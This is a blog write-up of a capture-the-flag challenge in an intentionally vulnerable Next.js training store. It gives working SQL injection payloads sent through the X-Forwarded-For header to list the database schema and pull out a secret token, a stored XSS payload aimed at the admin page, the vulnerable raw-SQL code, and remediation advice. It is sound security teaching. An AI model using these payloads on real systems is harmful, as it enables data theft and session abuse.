DEV Community

Cover image for SQL Injection Through the X-Forwarded-For Header (Next.js Lab)
Oopssec Store
Oopssec Store

Posted on Originally published at koadt.github.io on AI-assisted

SQL Injection Through the X-Forwarded-For Header (Next.js Lab)

The app tracks visitor IPs via the X-Forwarded-For header and drops the raw value into a SQL query. Here's how to exploit it.

OopsSec Store tracks visitor IPs on every page load using the X-Forwarded-For header. The value goes straight into a raw SQL query with no sanitization, so we can inject arbitrary SQL through a header that's entirely client-controlled.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

The app runs at http://localhost:3000.

Target identification

The application silently tracks visitor IP addresses on every page load. This tracking:

  • Runs automatically via a client-side component on all pages
  • Sends visitor data to /api/tracking
  • Stores the X-Forwarded-For header value as the visitor's IP
  • Makes this data visible only to administrators at /admin/analytics

Vulnerability analysis

Silent IP tracking

The application tracks visitor IP addresses using the X-Forwarded-For header via a client-side component that loads on every page:

// VisitorTracker component (loads on all pages)
useEffect(() => {
  fetch("/api/tracking", {
    method: "POST",
    body: JSON.stringify({ path: pathname }),
  });
}, [pathname]);
Enter fullscreen mode Exit fullscreen mode

Vulnerable tracking API

The tracking API uses raw SQL with the X-Forwarded-For header directly concatenated:

// /api/tracking
const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || request.headers.get("x-real-ip") || "unknown";

// VULNERABLE: `ip` is the one value that reaches the statement unescaped
const query = `
  INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
  VALUES ('${id}', '${ip}', '${userAgent.replace(/'/g, "''")}', '${path.replace(/'/g, "''")}', ${sessionId ? `'${sessionId.replace(/'/g, "''")}'` : "NULL"}, datetime('now'))
`;

await prisma.$queryRawUnsafe(query);
Enter fullscreen mode Exit fullscreen mode

The ip variable comes straight from the X-Forwarded-For header and lands in the SQL query with no sanitization. The user agent, the path and the session id are escaped on the way in, so the header is the only way through.

Exploitation

Step 1: Find the oracle

An INSERT returns no rows, so the first question is how to read anything back. The tracking endpoint answers it for us: it replies with the rows the request just wrote.

curl -X POST http://localhost:3000/api/tracking \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'
Enter fullscreen mode Exit fullscreen mode
{
  "success": true,
  "logged": [
    {
      "id": "bd43ad6b-410d-4b34-815f-19cd026489c3",
      "ip": "::1",
      "userAgent": "curl/8.18.0",
      "path": "/",
      "sessionId": null,
      "createdAt": "2026-01-24T20:16:00.000Z"
    }
  ]
}
Enter fullscreen mode Exit fullscreen mode

That echo is the whole game. A header that merely looks like SQL earns nothing — the flag drops only when a value read from a table the tracker never queries comes back inside logged.

Step 2: Close the value list

The statement expects six values — id, ip, userAgent, path, sessionId, createdAt — and our header lands in the second one. So we finish the ip string, supply the four remaining values ourselves, close the parenthesis and comment out the rest:

1.2.3.4', (SELECT 1), '/x', NULL, datetime('now'))--
Enter fullscreen mode Exit fullscreen mode

The server executes:

INSERT INTO visitor_logs (id, ip, userAgent, path, sessionId, createdAt)
VALUES ('…', '1.2.3.4', (SELECT 1), '/x', NULL, datetime('now'))--', 'curl/8.18.0', …)
Enter fullscreen mode Exit fullscreen mode

The userAgent column now holds whatever sub-query we put in the third slot. When a payload does not compile — drop the trailing -- and the real user agent runs on as SQL — SQLite says so in the response, which makes this a comfortable place to iterate:

{
  "success": false,
  "logged": [],
  "error": "\nInvalid `prisma.$queryRawUnsafe()` invocation:\n\n\nRaw query failed. Code: `1`. Message: `near \"', '\": syntax error`"
}
Enter fullscreen mode Exit fullscreen mode

The ip slot takes a literal too, by the other route: concatenating into the value instead of closing the list. It is the shortest proof the injection runs — visible afterwards at /admin/analytics:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT 'Privacy matters. Dont track your users')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/exploit"}'
Enter fullscreen mode Exit fullscreen mode

Privacy Matters

Step 3: Enumerate the schema

SQLite keeps its own catalogue in sqlite_master. Read the table list through the column we control:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: 1.2.3.4', (SELECT group_concat(name) FROM sqlite_master WHERE type='table'), '/x', NULL, datetime('now'))--" \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'
Enter fullscreen mode Exit fullscreen mode
"userAgent": "users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence"
Enter fullscreen mode Exit fullscreen mode

flags is a dead end: the endpoint answers 403 to any payload naming that table, and strips every OSS{…} value out of the echo. internal_secrets is the interesting one. Ask for its definition the same way:

1.2.3.4', (SELECT sql FROM sqlite_master WHERE name='internal_secrets'), '/x', NULL, datetime('now'))--
Enter fullscreen mode Exit fullscreen mode
CREATE TABLE "internal_secrets" ("id" TEXT NOT NULL PRIMARY KEY, "slug" TEXT NOT NULL, "token" TEXT NOT NULL)
Enter fullscreen mode Exit fullscreen mode

The schema names a slug column but says nothing about its values. Read those rather than guessing them:

1.2.3.4', (SELECT group_concat(slug) FROM internal_secrets), '/x', NULL, datetime('now'))--
Enter fullscreen mode Exit fullscreen mode
product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection
Enter fullscreen mode Exit fullscreen mode

One row per injection challenge, each named after the challenge it belongs to.

Step 4: Exfiltrate the canary

This endpoint only looks for its own token, so ask for the x-forwarded-for-sql-injection row:

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: 1.2.3.4', (SELECT token FROM internal_secrets WHERE slug='x-forwarded-for-sql-injection'), '/x', NULL, datetime('now'))--" \
  -H "Content-Type: application/json" \
  -d '{"path": "/"}'
Enter fullscreen mode Exit fullscreen mode
{
  "success": true,
  "logged": [
    {
      "ip": "1.2.3.4",
      "userAgent": "CANARY-X-FORWARDED-FOR-SQL-INJECTION-a42f4413d416",
      "path": "/x"
    }
  ],
  "flag": "OSS{x_f0rw4rd3d_f0r_sql1}",
  "message": "Internal secret exfiltrated through the X-Forwarded-For header! Well done!"
}
Enter fullscreen mode Exit fullscreen mode

The token is generated at seed time, so it differs on every instance: the only way to produce it is to read it out of the database.

Unlike the UNION challenges, the WHERE matters here. This sink takes a scalar subquery, and a scalar subquery yields a single value: (SELECT token FROM internal_secrets) returns the first row only, which belongs to another challenge. Name the slug, or wrap the column in group_concat to bring every token back at once.

The flag is:

OSS{x_f0rw4rd3d_f0r_sql1}
Enter fullscreen mode Exit fullscreen mode

Vulnerable code analysis

Two things make this exploitable:

1. Trusting the X-Forwarded-For header

const forwardedFor = request.headers.get("x-forwarded-for");
const ip = forwardedFor || "unknown";
// No validation - any string is accepted as IP
Enter fullscreen mode Exit fullscreen mode

The X-Forwarded-For header is fully controllable by clients. It should only be trusted when:

  • Set exclusively by a controlled reverse proxy
  • The proxy strips existing headers before adding its own
  • Direct client connections to the application server are blocked

2. Raw SQL with string concatenation

const query = `INSERT INTO ... VALUES (..., '${ip}', ...)`;
await prisma.$queryRawUnsafe(query);
Enter fullscreen mode Exit fullscreen mode

Passing user-controlled input to $queryRawUnsafe via string concatenation means any header value can escape the intended SQL string context.

Bonus: Amplifying to Stored XSS

This vulnerability also opens the door to Stored XSS. The admin analytics page renders IP addresses with dangerouslySetInnerHTML, so injected HTML and JavaScript execute when an admin loads the page.

XSS Payload

curl -X POST http://localhost:3000/api/tracking \
  -H "X-Forwarded-For: '||(SELECT '<img src=x onerror=alert(document.documentURI)>')||'" \
  -H "Content-Type: application/json" \
  -d '{"path": "/xss-exploit"}'
Enter fullscreen mode Exit fullscreen mode

Impact

  1. The XSS payload is stored in the database as the "IP address"
  2. Every time an admin visits /admin/analytics, the script executes
  3. The attacker can:
    • Perform actions as admin (create users, modify products, etc.) by making fetch requests with credentials: "include"
    • Exfiltrate sensitive analytics data
    • Note: the JWT is stored in an httpOnly cookie, so it cannot be directly stolen via JavaScript, but the attacker can still make authenticated requests from the XSS context

XSS

Because the payload is stored in the database and rendered unsanitized, every admin who checks analytics will trigger the XSS.

Remediation

Use parameterized queries

Replace raw SQL with Prisma's query builder:

await prisma.visitorLog.create({
  data: {
    ip,
    userAgent,
    path,
  },
});
Enter fullscreen mode Exit fullscreen mode

Validate IP addresses

Before storing, validate the IP format:

const isValidIp = (ip: string): boolean => {
  const ipv4 = /^(\d{1,3}\.){3}\d{1,3}$/;
  const ipv6 = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/;
  return ipv4.test(ip) || ipv6.test(ip);
};

const rawIp = request.headers.get("x-forwarded-for")?.split(",")[0].trim();
const ip = rawIp && isValidIp(rawIp) ? rawIp : "unknown";
Enter fullscreen mode Exit fullscreen mode

Trust boundaries

Only trust X-Forwarded-For when:

  • Set exclusively by a controlled reverse proxy
  • The proxy strips existing headers before adding its own
  • Network architecture prevents direct client connections

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
…
Enter fullscreen mode Exit fullscreen mode

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (0)